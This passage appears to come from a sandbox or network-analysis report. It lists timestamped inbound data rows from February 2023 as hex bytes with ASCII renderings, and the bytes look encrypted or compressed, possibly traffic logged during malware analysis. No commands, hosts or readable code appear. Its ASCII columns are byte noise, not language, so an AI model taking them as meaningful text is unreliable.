dd 4f 3f f2 e5 13 77 50 81 84 96 1a 20 35 4b 6b ca 3f 8e 21 f5 f5 92 Data Ascii: rB3\|\Vm"cO$%'i\|!NX]F}S[H@\|I_GKfrXo=Z!x72[BtcfG~ Df7LP&#hWYZ)ANNP[P soZ,VKqFs[ ,6h>xOz_3bkO?wP 5Kk?!
2023-02-02 07:09:15 UTC	828	IN	Data Raw: 7c 47 aa ed db 58 70 1d 12 6e 58 b7 7f ae cb e9 cd ac 64 79 a6 a9 d1 04 3f 70 08 da fa ff b4 60 05 98 a3 47 8d 8d c9 29 95 ad 46 0d 7f 0d a2 4d 56 c5 a6 d6 ef 21 d8 b9 d6 9f 74 48 27 85 90 3a 80 a3 46 3c a6 db a9 c5 86 bf 0b 5f a6 92 10 b0 47 2d e9 c4 c4 87 9b 4c e5 be 8d e8 b7 38 ce 4b c0 21 0f 38 fe 40 17 a5 9a bc dc c0 03 54 f1 ff f8 bb ac 9c 59 7d 56 f5 b3 59 4f 4e 42 6d 9f f1 03 de bb d2 59 7e e9 46 6b 78 9b 7d 8f 6b a1 d3 61 f8 14 8c f4 3a 2f 07 47 11 88 03 0a d2 00 eb 28 05 4b dd 45 96 72 2b 69 24 e1 41 af 20 6e 3f a0 e5 cc b6 81 c8 3d a5 b7 ad 1d 6f b8 b2 88 77 05 0d f8 c7 41 cf 79 6a 82 f6 e9 78 da 82 e6 64 87 30 7f 1d b9 52 b3 44 3c dd 4d 31 45 ce d0 41 8d 2d 55 a1 91 1b b4 e6 4a c2 25 79 21 74 26 25 45 4b bf 86 3d d6 2a 36 ea a6 28 f6 dc a3 4b Data Ascii: \|GXpnXdy?p`G)FMV!tH':F<_G-L8K!8@TY}VYONBmY~Fkx}ka:/G(KEr+i$A n?=owAyjxd0RD<M1EA-UJ%y!t&%EK=*6(K
2023-02-02 07:09:15 UTC	836	IN	Data Raw: d1 6f 83 0c 55 1b 60 1b 77 e9 db 52 d9 b4 71 52 27 bf 45 60 2e 1c 74 10 1c d5 b7 2e b7 64 53 bb 1e 2e 32 ed 3c 44 3b 2e 1c be 85 39 12 15 51 a8 3d 9f ed 7f 11 d0 fc 59 3b 85 ca 45 26 c7 36 b5 bd f1 22 85 0f 5c 5f 6b a0 e0 13 e6 82 84 3a 01 09 ea 7f 46 7b ba 6e ad c1 72 48 91 89 5d 93 21 db a8 5c e7 8e 96 bf a7 27 46 e6 b6 2e 77 5d 25 ef 21 68 4b 8d 1a 35 e0 60 92 24 52 2d 27 fa b4 03 60 95 9e 3a 0f 15 65 16 0c 04 48 18 d3 15 61 50 9b 5f fb 3c 9d cd 3a bc 13 d8 54 37 46 16 a6 74 7c 53 09 d8 8d 8f 1d 5a b9 92 c5 95 27 74 af 1f 38 be bf 17 f8 c7 eb 7c 7e 8a 19 25 be 99 7d b8 7a 14 bb fe 73 ca 69 3d 92 d9 a5 df 42 b3 6a d7 be 80 da 6f 2b 1d 01 7b 34 2d 71 e1 99 d8 6a 35 db a4 bf 78 fe 89 73 5c a7 4e 98 23 28 9a 48 c9 45 cd ad ff bb 02 38 a2 a3 69 ab 43 d5 a4 Data Ascii: oU`wRqR'E`.t.dS.2<D;.9Q=Y;E&6"\_k:F{nrH]!\'F.w]%!hK5`$R-'`:eHaP_<:T7Ft\|SZ't8\|~%}zsi=Bjo+{4-qj5xs\N#(HE8iC
2023-02-02 07:09:15 UTC	844	IN	Data Raw: 0e 31 ca 28 fb 39 6d 21 89 7e 13 7d 52 56 26 5d 71 8d b7 60 4b ab 06 10 b2 29 58 73 c0 ac 51 99 32 83 17 5d 61 a6 7b 36 93 45 f8 33 80 89 33 53 92 f3 78 b1 8b 2a 4a 5a e5 aa f1 12 24 da 20 d4 2c d2 01 46 da fb 48 35 57 da 91 93 73 f1 e3 5f d3 22 93 01 28 ff 38 50 3b 2e 5f 31 76 39 62 0c ee 1f 5c db 58 e1 10 58 60 17 19 66 9c c3 49 f6 22 07 e7 8c 1c 7f 95 a9 8b b5 44 8f 8f 9b 2c 51 cc 99 9c 72 c4 8d 92 98 d6 64 01 6c e0 84 51 da 1d de a8 5c ee 4d 4a 23 35 74 68 e4 9e 37 d8 d8 9d 23 a7 36 a3 3a f0 41 8d 94 6e 05 57 50 56 ff 13 5f 88 8c 27 28 9c 72 10 e5 48 0c e7 c3 ed 46 f2 b7 b0 9e ed 3a a4 fe 9e 7a 00 d7 e7 58 05 65 cd 64 ad 8f 7c 1a b0 35 da c6 73 99 0c 62 36 42 9f 11 e3 13 99 a3 ac 78 1a eb 09 63 8d f1 d7 85 45 6a 04 78 8b 71 cb bc 7b d9 7c 6d 77 d3 c7 Data Ascii: 1(9m!~}RV&]q`K)XsQ2]a{6E33Sx*JZ$ ,FH5Ws_"(8P;._1v9b\XX`fI"D,QrdlQ\MJ#5th7#6:AnWPV_'(rHF:zXed\|5sb6BxcEjxq{\|mw
2023-02-02 07:09:15 UTC	851	IN	Data Raw: 4d 47 23 12 51 35 35 4d 11 25 6f 98 34 f7 84 8a d4 af b8 0b ae 87 36 4e 73 42 93 8d 7c 48 7c ea f0 3c bf 10 f7 c5 ed 3b 47 38 f7 0e 54 09 6f f7 38 d3 00 81 20 0a 46 f8 d5 2e a4 ee 21 f0 56 d0 11 9d 49 ff 56 42 8b 9c 7b 35 b7 d1 07 ed a4 20 45 38 fb fc 84 cf 1c 4c 06 30 a9 bc 79 c8 20 c0 70 65 e9 dd 80 cb d4 0c 56 b1 f3 fd 0f b5 0a 22 1c 5b 5e f3 25 61 35 ee 0d e6 ad 6b da d4 4a 5c 20 58 72 96 c1 36 3a 36 53 2c ea ff 7d dd be 42 fb 2c ee 51 c0 66 5c 84 28 24 a3 ab 17 49 30 8b f7 23 70 7b 1e 81 06 13 2b e5 b0 98 c0 25 a4 2a fd 91 68 31 c5 c4 d1 0f 02 d6 bc 4d f0 8c 9d 63 89 78 e9 af 33 d1 d7 cd f3 f3 ca ec fc 21 66 0e 28 bb 74 9d 50 78 68 ec 51 18 bf 42 bd a4 c7 1e 69 09 4c 45 46 dc 12 44 a0 45 6f 4b 5a f6 e4 3c a3 62 2e 27 13 ec 21 6e ee 8b 4d 26 c7 20 0d Data Ascii: MG#Q55M%o46NsB\|H\|<;G8To8 F.!VIVB{5 E8L0y peV"[^%a5kJ\ Xr6:6S,}B,Qf\($I0#p{+%*h1Mcx3!f(tPxhQBiLEFDEoKZ<b.'!nM&
2023-02-02 07:09:15 UTC	859	IN	Data Raw: 42 b9 14 c2 22 ca 50 b1 20 a2 4c b6 70 fa 7a 96 4a f6 2c ce 7a 44 20 63 04 75 0c ab 0f 4d 09 2a 86 df 45 c8 8f cf 4f 2c 8d a2 8a 26 1b ee 2d 98 4c 17 42 57 4b d2 c0 58 46 1b cd 11 22 10 72 ac ea 58 b4 98 27 47 3e 99 33 47 3c c2 05 96 c3 57 c9 ea 4b ea 43 98 c5 9f c9 5e c4 5a c2 14 25 94 23 e0 42 11 cb e0 cf ef 4f 5f 2c 9c 41 97 4c 15 4d 54 46 c5 ed 03 73 a3 ae 27 4b 66 4a e2 49 15 48 3d 96 ca e5 46 95 cf 58 cc 97 ca ef 43 91 49 1f 44 e3 ce 16 04 4b 25 cf 11 f4 e7 f1 14 8e e6 c9 24 2d 46 46 a1 fc 59 0a b9 bd 51 25 c4 fe 94 7e b4 31 34 15 f0 02 c2 0a 4a 77 06 4f 64 16 53 1c 8b 0f 5d 16 6d 06 4f 36 c2 9d 33 89 21 97 22 8a 3c 5d 28 81 3e 98 10 4d 5c 2a 52 2f 14 c4 ec c3 5c 4e 12 ca 11 ca 12 45 82 66 72 21 c9 64 89 24 75 a1 49 e3 6e e0 ad 82 65 32 7a 53 c6 91 Data Ascii: B"P LpzJ,zD cuMEO,&-LBWKXF"rX'G>3G<WKC^Z%#BO_,ALMTFs'KfJIH=FXCIDK%$-FFYQ%~14JwOdS]mO63!"<](>M\R/\NEfr!d$uIne2zS
2023-02-02 07:09:15 UTC	867	IN	Data Raw: e5 67 22 5f bd 4f 6f b0 3f a7 35 7e ba d6 5b 93 ad f3 8d d5 e1 9e b5 de c3 be dc 9d 3e f3 cd 9e c5 d0 8d 88 3b 1f 3f b6 2b 2e f2 48 07 52 7a af 2b 23 42 fb e9 5f 5c cf d3 22 44 b6 e8 a5 26 16 06 71 5f 3c 3b 63 ae 3e 56 58 1c ff ad 69 d5 fa ce 63 62 aa c2 03 63 ef 4d da 67 bf 95 9f 1d 2f 60 b9 d1 ad cc 65 99 31 cc a7 da fd c3 a6 e9 6c 53 c2 16 1d 27 bf f3 45 a9 aa db 22 29 8c e9 71 ce 43 3b 06 2d 82 2a 3e fe eb 12 c6 fa 27 45 ce 6d 13 85 e9 2d cd f8 d4 da be f1 9c cb e7 5f e8 67 7c 5d 7f 9d 5c b4 69 e2 19 7a 7e 4e ae ca d6 48 a5 d1 ed f3 4d d6 ba 8f d2 70 6d cd f4 ec 97 35 11 13 4a 2a ca 56 6b 0f 9e 53 87 07 52 cb 7d 90 b5 34 3d 4f cc 7e 66 ad aa 45 6d ad d1 ef aa 93 ac 66 c0 f2 96 a9 f7 90 04 7a 94 dc a5 d1 6a c6 b2 59 87 3c 8c 58 b0 86 fa a0 58 ce c2 5a Data Ascii: g"_Oo?5~[>;?+.HRz+#B_\"D&q_<;c>VXicbcMg/`e1lS'E")qC;->'Em-_g\|]\iz~NHMpm5JVkSR}4=O~fEmfzjY<XXZ
2023-02-02 07:09:15 UTC	875	IN	Data Raw: ef 5d c5 dd cd 85 f6 92 2c e6 9e 6b 83 33 83 a7 1e b1 2c c4 71 6e 6f 50 72 96 1c 7d 64 ca c4 6e 1d 97 be 99 40 01 4c 22 39 48 67 66 a4 d0 30 e4 94 40 8b 8e e8 4e 44 59 f1 1e e9 9f 91 d1 50 09 fe ad ec e0 e0 66 d9 7f d2 85 48 f8 90 b2 96 3b 59 c5 74 7d 44 c9 ac ff 6c 8a 1d 09 7d 34 08 ad 96 da da 42 44 24 49 5b 2f 93 aa 3b a8 46 85 71 78 b5 25 da bd fd 7b 66 44 5c b0 0b 77 ff e2 2c 02 ad 4b 00 1b 37 76 1d 3c f6 51 93 e0 7f 67 4a 80 5a be a6 b7 35 b3 3e 65 15 15 26 c3 74 70 84 3d 0e 03 d1 4f 18 8f 91 34 f0 c5 a2 a3 ef d9 b4 d3 e0 8a 2f 35 59 d1 29 97 16 09 69 7c de fa 31 41 12 98 23 72 c8 8d 06 df 51 82 da 1b 6e 4e 7f d5 2e 2c 63 48 83 67 cd 5b 01 a4 b5 55 b2 28 5b 2f 67 ac 2a 6e 4b a4 ca 1b 2e 73 2a cc 00 5a 05 6e 66 7e db 19 46 6f fc 2a 49 84 ed 34 d8 24 Data Ascii: ],k3,qnoPr}dn@L"9Hgf0@NDYPfH;Yt}Dl}4BD$I[/;Fqx%{fD\w,K7v<QgJZ5>e&tp=O4/5Y)i\|1A#rQnN.,cHg[U([/gnK.sZnf~Fo*I4$
2023-02-02 07:09:15 UTC	883	IN	Data Raw: 70 c6 ce 96 37 68 8f c6 b6 5d 66 ab 97 c9 99 b1 86 da 34 93 94 db 10 b3 7a b2 ae 74 53 69 27 89 33 21 0e 0c 32 41 5a 3e 97 82 0d 12 a4 52 20 5a a8 d9 b6 23 1a df c0 60 05 68 e1 fc a7 3a 45 84 15 9d 8b 20 6b 71 ee 03 3f e4 a0 f1 27 6a 86 05 ff 1e 71 b0 3a 33 47 e1 ca ef 53 8c ea ad 23 e4 28 30 5b 40 83 57 c2 dc cd cd bd 63 a9 b6 b7 e8 29 ed ca 8e 32 93 18 8b 6c b9 9a 82 9e 0f 06 d6 2c 26 f0 16 11 1f e2 ff 8b a3 85 02 b2 bc 76 32 a2 1a 56 e8 2e d7 77 e6 49 f9 c2 8c e3 97 6a e0 0e 41 60 4d db 64 57 98 28 0b 8f c5 46 ab 4e 25 24 d6 8a 86 15 86 4e e0 bc 02 6f 0d ed 13 e6 b2 69 7f b7 14 8d a7 54 11 c5 bc 07 87 88 5c c1 7d 1c ee 28 d6 f5 3f 2b 6f 83 c6 be f6 f7 09 08 99 50 11 35 f8 b6 84 05 c5 53 eb 32 e1 c2 15 48 a5 4a 2e b1 5f bd d5 d4 d6 f9 58 19 78 6a e1 13 Data Ascii: p7h]f4ztSi'3!2AZ>R Z#`h:E kq?'jq:3GS#(0[@Wc)2l,&v2V.wIjA`MdW(FN%$NoiT\}(?+oP5S2HJ._Xxj
2023-02-02 07:09:15 UTC	890	IN	Data Raw: dc 30 aa 4e 9c f6 53 cb e1 94 09 c6 2e 72 fa d1 27 87 81 ef ad 2d 60 1f 54 89 29 8f c9 68 5c ff a5 d9 eb 5d c4 89 8b ce 27 1f dc 9d e3 07 48 2e fc 53 13 1b e3 a4 9f 51 75 7f 47 fe 9b a3 cf 4c c1 03 bb 55 12 a6 5d b0 ff a8 0a d9 b9 ea 3b c5 fc 9d a7 f1 3e 28 8d d2 d7 0f 5a 60 58 68 50 f3 55 48 2c 46 80 bf bd 88 79 1d b7 af b6 16 9c 64 71 25 87 e9 6a 4b 89 9d 4d fc f0 f9 6a d7 8f da 39 94 69 c0 71 35 24 35 47 e5 e1 13 cd 31 47 1b 0a b2 17 03 59 aa 7b 35 17 0a a2 5c c1 75 c2 9c f5 21 66 b4 3b 08 14 8b ad 02 90 5d ad b4 0f 94 13 b0 04 ec 28 c0 60 ec 26 d5 25 0a ce 00 db 39 f1 e5 00 0a 5b 25 2d 08 90 8d 53 b4 97 9e 45 4d 2b 9b 3f 16 47 5c 70 dd 6c ac 01 21 57 9b 97 ce df 2c b0 16 52 e3 be a2 6f 9d f2 17 72 f5 5f d2 77 27 7a 69 77 f4 d8 54 6c c1 59 8f 48 02 b8 Data Ascii: 0NS.r'-`T)h\]'H.SQuGLU];>(Z`XhPUH,Fydq%jKMj9iq5$5G1GY{5\u!f;](`&%9[%-SEM+?G\pl!W,Ror_w'ziwTlYH
2023-02-02 07:09:15 UTC	898	IN	Data Raw: f4 01 6b 51 91 e0 c4 9e ae 04 76 c2 06 3c 27 b4 59 4d 58 97 a2 9b 0b 4a 1e e9 ef df 5b 70 17 ff dd b1 80 fb 3b 18 90 4a bb ce e0 f3 e5 c5 31 60 aa d0 f0 5d bc 87 06 79 5f 4a be e0 fb 1f aa 9e 7d da 9a 7f 44 a0 25 5f 71 a9 18 b0 aa fd 97 5f ca 3e 9d fb 00 93 ad 7c 1d 87 68 59 ec a3 6b 83 0d fd b4 84 f3 e1 18 87 71 39 86 64 30 83 62 44 5f 91 d3 39 c6 c4 cc 12 41 a3 0c 1a 5c e7 ce ac 8b f7 2d 63 ba 6a f5 a8 71 8d 0e c0 af 69 d9 82 31 49 62 9c 14 c9 8d b6 d5 ee 20 64 5f ef 04 cb f0 af e2 2b 3d 2d 08 91 95 49 23 48 7a ff 07 01 c1 71 b6 db 40 0a 55 2e c7 06 71 da 54 72 10 b8 e6 71 23 36 33 e1 17 21 4f 89 b8 15 b8 34 3b b6 ac 81 be c7 4d 67 8d f8 2a 5a 42 83 1f a7 67 60 f6 90 ac c4 78 8b a9 d4 c0 61 06 0f 6f 92 6b a4 ba 8e b7 c7 d8 cd bd 19 48 0a c1 1f b1 a4 24 Data Ascii: kQv<'YMXJ[p;J1`]y_J}D%_q_>\|hYkq9d0bD_9A\-cjqi1Ib d_+=-I#Hzq@U.qTrq#63!O4;Mg*ZBg`xaokH$
2023-02-02 07:09:15 UTC	906	IN	Data Raw: 2c 9e 5b 17 79 d4 65 00 8e f4 9d e0 3d 0f b6 a5 0a 86 d5 e5 c3 b1 96 78 72 f9 18 97 87 4b 61 2d 06 67 92 a5 5b d2 8a 10 3e 34 9d bb 8f 8c ae f7 d0 dc 03 c5 e1 df 8d f7 a8 3f 89 07 0b b3 24 74 8d 30 f3 19 10 8f 0e f2 f1 67 af aa 29 01 bc 1c a3 19 47 a4 d4 a6 a8 70 ed bd 10 03 f0 d6 ec bf fe 93 cf dd 76 17 56 10 e3 e9 bc 5f a3 35 3a c8 a5 e8 a0 37 cb 15 42 23 82 e5 a1 f6 32 8d fc 94 e5 30 d6 3b d2 f3 7a 66 32 6e eb f8 c9 e6 00 c8 1a 36 df a6 ac cc 58 bd 62 c7 2e 71 f4 53 a2 1b a1 e8 a3 2d 82 20 fe 1b 81 7d 00 e1 37 a3 67 ed 1c d4 8c bb 4c e3 de 79 af a4 43 be 41 c5 7f 40 6a 7b 70 83 7b 3e 28 27 99 b3 e4 89 b2 98 7f 7c 43 68 6c e6 b1 ae 7a 3a dc b8 52 67 d2 3a b6 18 de 54 7b 3e 90 8c 8e 88 e7 bc 33 cd 74 7f 67 d0 52 0c 44 7a 30 d5 95 d2 bb 06 39 ee cd b4 7b Data Ascii: ,[ye=xrKa-g[>4?$t0g)GpvV_5:7B#20;zf2n6Xb.qS- }7gLyCA@j{p{>('\|Chlz:Rg:T{>3tgRDz09{
2023-02-02 07:09:15 UTC	914	IN	Data Raw: 54 fd 4d 1d f7 33 50 49 2e 32 4b c2 d2 69 b6 64 24 6b 13 86 4b 9c 2c d4 6f 42 1f b1 81 65 43 41 1c ee 3b 0a db 7a d8 78 e2 5b 76 47 39 09 c8 c2 47 cb dc 51 4d e2 0f 34 89 e8 51 51 57 2c cd bc 2f 3a 84 79 10 01 90 c1 a5 92 ea 36 55 af 5b 48 17 f4 f7 f0 bb a2 49 c7 0b 36 be ec 23 1a c8 a1 ad 82 5d 88 d0 56 f2 02 c4 79 b7 2f d5 50 36 62 7a 95 4a cb 2d c2 87 e1 74 af 5f 13 20 cc da 5c ad f6 f4 da c0 07 8c 51 4e 71 5e 0c 46 6d 4e 5d 3c 74 31 e9 7c 0b 0f 12 a8 88 d3 44 22 ce 74 9d af ae cd 04 0c 97 fc b5 2c 04 63 f3 4e 2b fc 82 05 13 33 19 3e cf ac 52 3e 93 25 3f fb 54 a1 9e 80 4b 50 21 1c ca 56 66 bc c0 bc 05 2e 05 59 dc 34 25 af 50 1d 03 84 02 9a 87 2d d5 de 45 b1 43 ec 79 d7 a0 ee 25 90 f4 4d 45 f2 41 58 78 c8 21 e7 2c d8 a1 cd db 12 17 29 ee e0 cd 02 71 a0 Data Ascii: TM3PI.2Kid$kK,oBeCA;zx[vG9GQM4QQW,/:y6U[HI6#]Vy/P6bzJ-t_ \QNq^FmN]<t1\|D"t,cN+3>R>%?TKP!Vf.Y4%P-ECy%MEAXx!,)q
2023-02-02 07:09:15 UTC	922	IN	Data Raw: ab 9c d2 63 ac fe 46 86 65 6f a3 36 f1 6b ba 42 11 9e 53 b1 2c 1d 8a c5 fa 0e d4 5e d7 0b fb 39 95 8e b1 2a a3 90 45 41 98 7d 15 24 da f7 32 de 56 8e 6f 78 dd 81 e1 90 c5 10 9d 5e cb 7f 6b 67 82 fb 25 88 ee d8 1b 1a 85 48 e8 a2 6c e8 0e bc 57 3c 95 5a 8b 72 26 d1 b8 8b a4 f4 13 a0 ad 8d 42 eb e0 34 d8 79 7f b0 28 c6 c9 72 ea b0 3e 3c 96 df 5d 85 8f b2 c9 e9 08 b7 ef 77 1c 85 d1 10 ad 0c 72 b7 18 de 90 f8 b5 75 12 29 15 fb 13 7f 90 24 14 e8 0f 77 f4 76 f5 36 76 70 ed 90 c9 1b 7b 6d f8 ac 49 a2 24 5e 4b a2 d3 b9 8e 82 94 c5 f6 1a 3d 23 34 8e 50 00 ed a7 7d 1f b1 3a 9d a8 09 f9 1a 48 f2 df 47 6b b3 eb 6f 50 00 90 f4 94 36 00 8a 6a ba 1d 46 69 41 2d 20 7f 5e 71 70 fc 36 43 6f 7f c7 b4 bc 43 55 f7 49 be 79 21 eb 74 53 a0 16 2a 09 01 b7 f7 48 5c f1 b8 26 72 d8 Data Ascii: cFeo6kBS,^9EA}$2Vox^kg%HlW<Zr&B4y(r><]wru)$wv6vp{mI$^K=#4P}:HGkoP6jFiA- ^qp6CoCUIy!tSH\&r
2023-02-02 07:09:15 UTC	929	IN	Data Raw: 39 76 dc d9 19 95 a8 50 2a e4 ea bf 6e f4 01 7e fd cd 98 25 53 88 4e fc c3 af 8f d5 aa 91 15 eb 19 e0 69 2a 6f 9e 80 4c 07 32 48 46 88 08 eb 4f 1b c3 cc 67 5e 90 6e 9e bd 65 cb 70 06 b0 94 65 72 40 b7 a1 1e d3 58 20 bc c4 c2 b5 ea 00 3c e6 b6 07 45 e7 2d 0f c6 78 e7 00 21 28 45 bd a5 4a a3 0b cc bb 02 23 bf df 99 2c e3 90 d4 bf b0 9c 9d 8c 56 63 0b 47 bb 87 d4 94 db aa d1 1c 8c 90 74 fc 03 40 9a 6e 5a 1b 6d db 9f 69 36 35 da 34 da 96 37 ce ff 3a 23 10 1d cf 63 b6 5a 27 51 0f 5c b4 0f e2 1f 17 49 8d 17 50 c8 72 65 76 7e 00 78 0b 76 8f 45 ce fc be 70 ef e6 31 2f 98 22 56 b8 31 7b 10 17 20 2d 92 3d e1 4f d6 42 6c 10 f4 60 77 1f 21 1b 2d c6 a8 75 81 2e 98 17 c7 f7 ad 0e cb a5 32 12 f7 ad 80 49 db c8 dc cc d3 df 39 f4 00 28 f9 57 d1 23 dc 17 63 08 8e 00 f8 9c Data Ascii: 9vPn~%SNioL2HFOg^neper@X <E-x!(EJ#,VcGt@nZmi6547:#cZ'Q\IPrev~xvEp1/"V1{ -=OBl`w!-u.2I9(W#c
2023-02-02 07:09:15 UTC	937	IN	Data Raw: 3b 35 b4 09 f7 1b e4 37 34 60 75 70 05 b5 c3 49 32 b6 c5 99 26 cf 49 8a f6 b7 84 05 7f 93 2a b9 94 62 58 a7 3f 8f 9b 7e a7 9c 78 a3 ff cc 84 9b f9 ad 2c 2c 57 ab 36 53 af 82 cc e1 d6 79 b5 64 3e 2d 44 69 59 6b a1 d4 93 69 5b 21 b9 39 e2 94 f0 a3 d6 87 2b 10 9a 45 f7 cd c9 af 0a 84 22 69 13 d3 8f 3d 4a 5b c5 71 78 26 a6 ac 59 f8 87 e1 12 6e 6e 1b 2e df b3 5d cb 8a dd cd b6 39 78 0e 49 7a 9a 43 8a 23 af ba ae d0 96 4f c6 b4 7a f9 f9 07 e1 2e f7 5d fc e5 c5 9b 1d f7 b3 7e 69 43 a9 eb e9 6e 8d d7 ca 8d 87 71 a1 36 79 0d 37 8e 25 6e e7 aa 5e c9 3f ae 08 2d 14 58 4d 74 f3 87 d6 0a b5 9c 28 88 d9 1a 83 61 81 ef 81 8c 97 6b ac 98 05 fa 8e 85 4c 3e e9 a7 ee e2 d6 b2 51 ec ce 16 ec b5 89 7e 6b 86 ac fd 95 0a 6d 54 9c 62 53 dc 0a 2e 36 39 f8 16 39 63 e5 04 0b eb b1 Data Ascii: ;574`upI2&I*bX?~x,,W6Syd>-DiYki[!9+E"i=J[qx&Ynn.]9xIzC#Oz.]~iCnq6y7%n^?-XMt(akL>Q~kmTbS.699c
2023-02-02 07:09:15 UTC	945	IN	Data Raw: b1 13 24 1c 51 13 5b 69 9d f4 81 e9 e5 4b 55 ad 17 a8 10 db 48 b7 78 71 02 c1 f7 f5 14 f3 8a 1b 19 d9 32 de dd e5 83 0d af c5 8c 36 a2 ce c4 b5 22 9e 2f 60 58 88 54 46 a3 ba 27 d8 32 98 c1 77 f6 cc 28 6c 51 eb 17 45 af 09 df 67 52 2e 65 e5 62 81 43 c0 b5 c6 96 fd 79 9e d0 7a 0f 02 c5 05 25 b9 27 63 d9 49 46 dc d4 48 dd 01 06 3f 48 3c 1a e3 d6 fd 9d d5 18 6a 72 12 e8 66 6d f9 c8 e0 a2 b2 d9 6b 9c 15 cc da 3f 00 b3 91 d2 d6 27 5c e4 4f 80 a5 cc 1a ea fe 7d 4e df 58 8e 00 cb fa fe d2 d9 2d f6 fa 43 9a fe 60 81 f5 53 de 4d ad 34 ef d9 a9 92 6c 40 c7 db fd fc b4 15 84 9e 9f a9 fa b5 f7 be 2f a8 fd fe e0 1a 0b 36 06 c2 c9 be dd c2 f1 6f de b0 92 30 c1 c5 7b 56 4a 11 ea 97 39 7b fe f7 ac 7e 46 5c 3b 28 00 bc c5 4a 11 73 ad 58 cc 23 fb 2e 33 a4 cd a9 db e4 92 43 Data Ascii: $Q[iKUHxq26"/`XTF'2w(lQEgR.ebCyz%'cIFH?H<jrfmk?'\O}NX-C`SM4l@/6o0{VJ9{~F\;(JsX#.3C
2023-02-02 07:09:15 UTC	953	IN	Data Raw: 4d db 0f d0 5e e2 75 ed 11 06 0f b6 15 e3 a6 d7 ae 81 38 59 54 b1 13 e5 43 45 80 ed 35 1e ec 0c 0a d6 86 cf 8f 6a 03 9c f4 88 b6 7f d2 c0 b1 23 20 0c e3 f0 cb e9 b6 0e ea e5 a2 26 70 f2 26 7d 54 ef aa 51 66 06 e3 d0 2a 37 2c c2 d1 0d 71 41 67 94 53 02 d7 fa 54 e9 b7 fa f3 8e 47 7f 95 ac f5 8c 51 21 5c ba d2 57 1a 1c 0c 9d e4 b8 ee 85 6c 08 7d 5e 8b fb 32 e6 94 7b 25 a3 11 db 71 3c a0 42 63 1d f3 0a 03 fe 18 06 d4 82 22 30 21 5d 48 60 d3 3e 9a 46 cb 12 02 21 4d ed da ea 83 2f a2 dd 8e e1 cb 91 37 18 13 ae 23 a4 b9 4c d7 ed 2b 67 48 57 9f 7b 6a 51 d4 15 ed 54 8c 6d 0d 20 c6 3c 1f 4e 4b 4a b7 b6 2e d7 64 93 43 95 de 76 fa ce 7d 3b c3 22 13 17 43 a5 0b 9a ac 76 fa 24 d1 d7 81 a6 4e 38 b2 cd 13 48 62 48 db 2a f9 0b 79 75 2e af c0 6f 58 07 8c 60 c7 4d 60 26 a5 Data Ascii: M^u8YTCE5j# &p&}TQf7,qAgSTGQ!\Wl}^2{%q<Bc"0!]H`>F!M/7#L+gHW{jQTm <NKJ.dCv};"Cv$N8HbHyu.oX`M`&
2023-02-02 07:09:15 UTC	961	IN	Data Raw: c6 2c dc c9 27 aa d2 8c bb f0 bc e1 22 d7 40 58 42 6f ee fd ef 59 a7 d0 6c 7f fd bf 49 28 05 4d 81 1e 03 ae e4 02 9d a5 14 ec 55 84 1a 1a 0a a6 7c 44 67 d9 2c 86 ed 82 27 9f 9b eb 7c d7 69 4f 8b 74 ce 9a 6c 09 a6 2f 69 e7 d7 ba 64 95 d9 8e fb 86 96 b4 2e f6 a5 91 54 54 4f 8d fd bb 5e 6d de 19 0a 52 c3 1f 64 43 ee ce d1 9e 3b 4a 3b 09 54 02 18 6b 58 1e 40 00 0e d7 78 98 fd 1d e2 62 f7 e5 ba 3e ab 55 f6 11 02 ce 19 1c 2c 1e bd 61 0f f2 a5 00 b0 5d f1 92 08 c4 96 93 7d f3 47 8d ed ea b3 20 9e 29 28 ee 2b 29 02 0b 05 09 1f 93 9f 9a c7 4a 68 22 7c ad ac ab 9d 9d 67 1b 94 cb 0b 91 77 99 25 79 ee da 09 c9 b1 b9 bd 5e 20 9c ed 82 bf bf 3e 67 47 bf 9d aa c7 6a 90 50 58 1e c3 28 4e 33 f3 8f bb f1 01 66 c3 6a 44 1a 9e 8a 4d 22 53 2a b1 49 2b 58 72 b4 cb 40 b3 7f e3 Data Ascii: ,'"@XBoYlI(MU\|Dg,'\|iOtl/id.TTO^mRdC;J;TkX@xb>U,a]}G )(+)Jh"\|gw%y^ >gGjPX(N3fjDM"S*I+Xr@
2023-02-02 07:09:15 UTC	969	IN	Data Raw: 2f a7 92 f4 08 cc 4d 3c a0 c4 d7 2b 26 bc e9 c1 ee 9a 2c 0e f2 29 80 c5 06 f7 c7 5d c0 72 2e b5 4b c2 c3 ab 58 18 72 50 ff 06 99 54 ab 12 e0 ac 55 05 31 7b d6 ca 6b 65 ee f3 3b 1f f2 0f 76 ef fd 70 5c 2e 75 1f 60 4a f6 83 6a e3 cb 63 6f e7 60 3f b9 95 2b a2 09 30 02 53 13 88 e6 42 66 c8 cd ca 64 1b e7 f2 1b 4c f0 78 e0 b4 d9 82 67 15 c0 6b e5 a8 e9 19 6f 44 71 05 1d a7 fd e7 d5 d1 23 76 e8 a7 1d 01 e0 f6 f3 15 d3 7e 01 4f ab 6e d4 21 14 3e 43 1f fe 51 ad 8d b5 12 2a 7a 79 33 e6 c3 6d 2e 53 b6 a3 b1 dc 9c 3b 63 6a e2 13 15 ba e6 29 b1 60 32 c6 91 15 f4 65 f0 fc b0 7a 54 cf ed dd d8 54 2a 3f fc b6 9f 5e b2 2c 87 79 8f c4 79 73 13 b2 ed b1 4e db f4 88 2d 04 b8 96 a7 58 00 7b 12 85 80 2b 68 f1 90 e5 e3 e8 58 9f 19 d0 2b 6d 91 0e 7f 77 8f 79 40 cb b0 98 41 6b Data Ascii: /M<+&,)]r.KXrPTU1{ke;vp\.u`Jjco`?+0SBfdLxgkoDq#v~On!>CQzy3m.S;cj)`2ezTT?^,yysN-X{+hX+mwy@Ak
2023-02-02 07:09:15 UTC	976	IN	Data Raw: 18 8c 29 3b 9b 41 ab 09 02 3c 73 82 fa d7 38 14 59 80 fd f3 79 26 03 74 9f 6e 0a cc 4d a8 aa 39 81 26 42 d3 e0 2b cb dd 83 75 c8 7e 04 32 f7 04 75 5a 20 da 8f e0 fa fb 96 c4 46 b1 09 74 ab 1f d0 17 db c4 fe c2 c3 5b af 1e d6 66 fc 2e 77 7c fa ad 9e f5 d1 f3 05 d3 ba 7a 28 61 9f 73 61 a6 72 e1 67 c8 26 98 6a 1d 43 c5 e3 23 a6 e8 c2 ad 92 a5 2f 33 e6 a3 a0 98 d0 6e eb 5a 72 eb 03 d7 d7 8c f8 0c 39 d3 32 60 67 31 64 0d 22 48 15 e1 aa 1b 10 82 93 1d a4 d1 c2 48 0e f3 42 22 ef 0d cb 10 bf 74 6f cc 56 f6 ae da 37 24 b6 9b b9 75 44 51 32 d5 cb dc da b2 34 